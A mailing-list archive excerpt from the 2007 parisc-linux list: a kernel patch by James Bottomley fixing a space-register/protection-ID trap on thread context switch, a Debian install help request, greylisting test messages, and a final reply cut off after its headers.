	Tue, 27 Feb 2007 17:02:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B28987DB42
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Feb 2007 17:02:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11513-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Feb 2007 17:02:21 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id A2C257DB41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Feb 2007 17:02:20 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1S02Ax18232; 
	Tue, 27 Feb 2007 19:02:11 -0500
In-Reply-To: <1172467172.3423.39.camel@mulgrave.il.steeleye.com>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rPPWfeIoPjltterBOTU26LkzMTE2NYnK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24420

On Sun, 2007-02-25 at 23:19 -0600, James Bottomley wrote:
> OK, I have a theory.  It has to do with the way we do flush_tlb_mm by
> incrementing the spaceid.  This works in a single space per process
> model.  However, a process with multiple threads has >1 scheduling
> context which share spaces.  So, the theory goes that when we fork from
> a thread, we execute flush_tlb_mm which bumps the context (space).  Then
> we schedule another thread in the same process.  However, this picks up
> its space registers from the task rather than the mm->context, so it
> uses the old mm.  Now, the load context has updated %cr8, the protection
> ID.  However %cr8 isn't part of the task context, so we end up executing
> in the old context with the protection of the new one ... resulting in a
> protection ID trap.

Based on the theory, I managed to reproduce the problem on ioz (you just
have to increase N to be much greater than the number of CPUs you have)
and tried a little fix, which seems to work for ioz.  Could you try this
out on your a500?

Thanks,

James
Index: BUILD-2.6/arch/parisc/kernel/process.c
===================================================================
--- BUILD-2.6.orig/arch/parisc/kernel/process.c	2007-02-27 15:52:54.000000000 -0800
+++ BUILD-2.6/arch/parisc/kernel/process.c	2007-02-27 15:57:24.000000000 -0800
@@ -395,3 +395,30 @@ get_wchan(struct task_struct *p)
 	} while (count++ < 16);
 	return 0;
 }
+
+struct task_struct *__switch_to(struct task_struct *prev,
+			       struct task_struct *next)
+{
+	unsigned long sr3;
+	unsigned long newsr3 = mfsp(3);
+	struct pt_regs *regs = &next->thread.regs;
+
+	/* need to be executing in user context */
+	if (regs->iasq[0] != 0 || regs->iasq[1] != 0) {
+		sr3 = regs->sr[7];
+
+		/* need our current space to be different from our
+		 * new one.  Note, this trips a lot if we're in a
+		 * syscall not an interrupt from userspace, but in the
+		 * syscall case, this is a nop since the space is
+		 * explicitly reconstructed on return from syscall */
+		if (unlikely(sr3 != 0 && sr3 != newsr3)) {
+			int i;
+
+			for (i = 0; i < 8; i++)
+				if (regs->sr[i] == sr3)
+					regs->sr[i] = newsr3;
+		}
+	}
+	return _switch_to(prev, next);
+}
Index: BUILD-2.6/include/asm-parisc/system.h
===================================================================
--- BUILD-2.6.orig/include/asm-parisc/system.h	2007-02-27 15:53:12.000000000 -0800
+++ BUILD-2.6/include/asm-parisc/system.h	2007-02-27 15:54:33.000000000 -0800
@@ -43,9 +43,10 @@ struct pa_psw {
 struct task_struct;
 
 extern struct task_struct *_switch_to(struct task_struct *, struct task_struct *);
+extern struct task_struct *__switch_to(struct task_struct *, struct task_struct *);
 
 #define switch_to(prev, next, last) do {			\
-	(last) = _switch_to(prev, next);			\
+	(last) = __switch_to(prev, next);			\
 } while(0)
 
 /*



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ram <talk2ram@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: http://picasaweb.google.com/talk2ram/HpProblems
Date: Thu, 1 Mar 2007 10:55:30 +0530
Lines: 79
Approved: news@gmane.org
Message-ID: <b74751490702282125u5afff38dp180281aaf8ab72f9__40728.5695350312$1416624319$gmane$org@mail.gmail.com>
References: <b74751490702260500o7451d131l6af36a0b49f08eb3@mail.gmail.com>
	<b74751490702260642g746ae640g8789f2ca08d4a611@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0557766909=="
X-Trace: ger.gmane.org 1416624319 23398 80.91.229.3 (22 Nov 2014 02:45:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Mar 2007 05:25:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 01 Mar 2007 06:25:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94EF17DAB1;
	Wed, 28 Feb 2007 22:25:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24096-05; Wed, 28 Feb 2007 22:25:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4833F7DA5A;
	Wed, 28 Feb 2007 22:25:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F8297DA57
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Feb 2007 22:25:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24096-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Feb 2007 22:25:31 -0700 (MST)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.236])
	by free.linux.hp.com (Postfix) with ESMTP id A4FC77DA51
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Feb 2007 22:25:31 -0700 (MST)
Original-Received: by wx-out-0506.google.com with SMTP id s13so482581wxc
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Feb 2007 21:25:31 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:references;
	b=nez5/FCkjySIA2qEyfBE1+3g1Y1JsZKwpmVfNUh4sSXZVMZ18LlgdR6V5GLu3XDqKRMhqEU9G1ii6JHl5UVQFG9EO+KCMdS/UwAqWBQ5+9/JuAYxuotk2TNoTQWnfYI8XYzOV17uWcxoIoBe0mWfhqBDFdk2MsWYu5wanNOuM/k=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:references;
	b=Bs9Y0KKUVK6C5ubT2jCqXwRlkwKGSkVKna5B5ekPi6cF2DBZXpGj5FboQTZBVqpfsuHAYqdAT4IVF/aqFI3GjlNt4xg0TsOtaZ0llp/ksWgr5gE/wYDlF64dq7amgfzqE4TF3DYXz+Qvwm6TI4I9lfbBZq1zbNwwufcphhTAttE=
Original-Received: by 10.114.161.11 with SMTP id j11mr976399wae.1172726730636;
	Wed, 28 Feb 2007 21:25:30 -0800 (PST)
Original-Received: by 10.115.76.4 with HTTP; Wed, 28 Feb 2007 21:25:30 -0800 (PST)
In-Reply-To: <b74751490702260642g746ae640g8789f2ca08d4a611@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5VrVfeYvMmAp4bSZZGFnFXMxMjQ1N52E
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24421

--===============0557766909==
Content-Type: multipart/alternative; 
	boundary="----=_Part_59743_7099635.1172726730614"

------=_Part_59743_7099635.1172726730614
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 2/26/07, ram <talk2ram@gmail.com> wrote:
>
>
>
>
> hi
>
> iam trying to install Debian on HP R class 9000
> but i dont see iam able to make success
> can some one help me ot resolve this problem
>
>
> http://picasaweb.google.com/talk2ram/HpProblems
>
> any solution for this problem
> any help will be great
>
> ram
>
>


any update on this issue

ram

------=_Part_59743_7099635.1172726730614
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

<br><br>
<div><span class="gmail_quote">On 2/26/07, <b class="gmail_sendername">ram</b> &lt;<a href="mailto:talk2ram@gmail.com">talk2ram@gmail.com</a>&gt; wrote:</span>
<blockquote class="gmail_quote" style="PADDING-LEFT: 1ex; MARGIN: 0px 0px 0px 0.8ex; BORDER-LEFT: #ccc 1px solid">
<div><span class="e" id="q_110fe809b0fa9461_0"><br><br>
<div>&nbsp;</div>
<div>hi</div>
<div>&nbsp;</div>
<div>iam trying to install Debian on HP R class 9000</div>
<div>but i dont see iam able to make success</div>
<div>can some one help me ot resolve this problem</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div><a onclick="return top.js.OpenExtLink(window,event,this)" href="http://picasaweb.google.com/talk2ram/HpProblems" target="_blank">http://picasaweb.google.com/talk2ram/HpProblems</a></div>
<div>&nbsp;</div>
<div>any solution for this problem</div>
<div>any help will be great</div><span>
<div>&nbsp;</div>
<div>ram<br>&nbsp;</div></span></span></div></blockquote>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>any update on this issue</div>
<div>&nbsp;</div>
<div>ram</div><br>&nbsp;</div><br>

------=_Part_59743_7099635.1172726730614--

--===============0557766909==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0557766909==--



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] greylisting test
Date: Thu, 1 Mar 2007 10:38:13 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20070301153813.GA3964__13139.1828218058$1416624320$gmane$org@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624320 23401 80.91.229.3 (22 Nov 2014 02:45:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Mar 2007 15:40:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 01 Mar 2007 16:40:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 412517DAB8;
	Thu,  1 Mar 2007 08:40:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29364-01; Thu, 1 Mar 2007 08:40:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 074AD7DAA9;
	Thu,  1 Mar 2007 08:40:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE7347DAA3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Mar 2007 08:40:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29063-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 1 Mar 2007 08:40:42 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 3D0787DA9A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Mar 2007 08:40:42 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 48E805840CE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Mar 2007 10:40:41 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 5671C5840D3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Mar 2007 10:38:34 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 0CA9F837DC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Mar 2007 10:38:34 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 6FFA43B06E; Thu,  1 Mar 2007 10:38:13 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MMbfcO9WeWU77beUfHVzPDI5U3U4N88O
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24422

let's see if this works...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] greylisting test
Date: Thu, 1 Mar 2007 11:13:21 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20070301161321.GA4489__44205.4851715968$1416624320$gmane$org@athena.road.mcmartin.ca>
References: <20070301153813.GA3964@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624320 23404 80.91.229.3 (22 Nov 2014 02:45:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Mar 2007 16:13:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 01 Mar 2007 17:13:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8902A7DAC2;
	Thu,  1 Mar 2007 09:13:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29596-10; Thu, 1 Mar 2007 09:13:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA8797DABB;
	Thu,  1 Mar 2007 09:13:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 229777DAB7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Mar 2007 09:13:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29596-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 1 Mar 2007 09:13:43 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 5364D7DAB4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Mar 2007 09:13:43 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E00075840CE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Mar 2007 11:13:42 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 6EC4A5840CB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Mar 2007 11:13:42 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 0BD1E837DC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Mar 2007 11:13:42 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 498BD3B06E; Thu,  1 Mar 2007 11:13:21 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20070301153813.GA3964@athena.road.mcmartin.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8cnffeUuYW0+6buGbmZpP8t0amthcxuu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24423

On Thu, Mar 01, 2007 at 10:38:13AM -0500, Kyle McMartin wrote:
> let's see if this works...
>
X-Greylist: delayed 514 seconds by postgrey-1.27 at palinux; Thu, 01 Mar 2007
08:49:49 MST

Ok. Let's hope this cuts down some of the spam to @parisc-linux.org
even more...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debugging 64-bit kernel crashes involving
Date: Sat, 3 Mar 2007 20:05:21 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200703040105.l2415MEE004514__39267.0391047888$1416624320$gmane$org@hiauly1.hia.nrc.ca>
References: <1172620930.3408.46.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624320 23408 80.91.229.3 (22 Nov 2014 02:45:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Mar 2007 01:05:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 04 Mar 2007 02:05:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4034F7DA3A;
	Sat,  3 Mar 2007 18:05:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16983-05; Sat, 3 Mar 2007 18:05:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30F787DA30;
	Sat,  3 Mar 2007 18:05:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 045437DA2D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Mar 2007 18:05:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16793-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 3 Mar 2007 18:05:24 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 407717DA28
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Mar 2007 18:05:24 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l2415Mqc004516;
	Sat, 3 Mar 2007 20:05:23 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l2415MEE004514;
	Sat, 3 Mar 2007 20:05:22 -0500 (EST)
In-Reply-To: <1172620930.3408.46.camel@mulgrave.il.steeleye.com> from "James
	Bottomley" at Feb 27, 2007 06:02:10 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
